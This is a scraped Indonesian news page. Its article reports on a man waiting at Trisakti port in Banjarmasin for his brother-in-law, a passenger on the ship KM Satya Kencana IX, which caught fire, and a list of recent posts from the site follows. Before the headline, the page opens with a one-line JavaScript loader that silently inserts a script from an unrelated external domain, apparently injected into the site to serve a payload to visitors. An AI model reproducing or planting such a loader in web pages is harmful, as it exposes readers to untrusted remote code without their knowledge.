(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mau Diajak Jualan Siomai, Marhan Cemaskan Adik Iparnya di KM Satya Kencana IX


BANJARMASIN, Setelah menunggu waktu yang lama, akhirnya Kapal KM Satya Kencana IX tiba di Pelabuhan Trisakti Banjarmasin, Sabtu (4/8) pukul 19.00 Wita. Hal ini tentu membuat perasaan lega para kerabat dekat yang menantikan kedatangan para korban.

Seperti halnya salah seorang keluarga penumpang Kapal KM Satya Kencana IX, Marhan yang mengungkapkan bahwa adik iparnya tersebut sudah berangkat dari Surabaya pukul 10.30 WIB dan ingin minta jemput ke Pelabuhan Trisakti karena dia belum pernah sekali pun menginjakan di kota Seribu Sungai ini.

“Rencana besok ingin jemput kedatangannya, dia sempat telpon saya jam 2 malam,” katanya.

Namun saat mendengar melewati tetangganya yang mengatakan KM Satya Kencana IX kebakaran yang dilihatnya dari berita media online, ia pun bersama temannya berangkat menuju Trisakti untuk melihat kondisi adik iparnya tersebut. “Sangat terkejut, saya telpon HP nya tidak aktif lagi,” ucapnya.

Dihantui rasa cemas dan takut, Marhan menjelaskan bahwa adik iparnya tersebut rencananya akan ikut berdagang siomay bersamanya. Namun hingga berselangnya evakuasi dirinya tidak menemukan sosok adik iparnya itu.

“Dia ke sini untuk ikut berdagang siomay. Saya coba menanyakan informasi korban-korban kepada para petugas SAR yang berjagaan di sana tapi masih belum ada kejelasan” ungkapnya kepada kanalkalimantan.

Setelah mendapatkan informasi dari pihak Pelabuhan Trisakti Banjarmasin bahwa evakuasi korban akan datang pada sore, sehabis Maghrib dirinya tetap menunggu di Pelabuhan. Sampai saat ini riuhnya masyarakat yang berbondong memadati Pelabuhan Trisakti. Namun Marhan tidak menemukan keluarganya tersebut.

Dari pihak Tim SAR, para keluarga korban disuruh untuk menunggu pada posko di Pelabuhan Trisakti agar bisa mendata para korban untuk bertemu keluarganya. “Saya panik, jadi teman saya yang di trisakti saya juga nunggu di RSUD Ulin,” tuturnya. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

49 menit ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

3 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

3 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

5 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.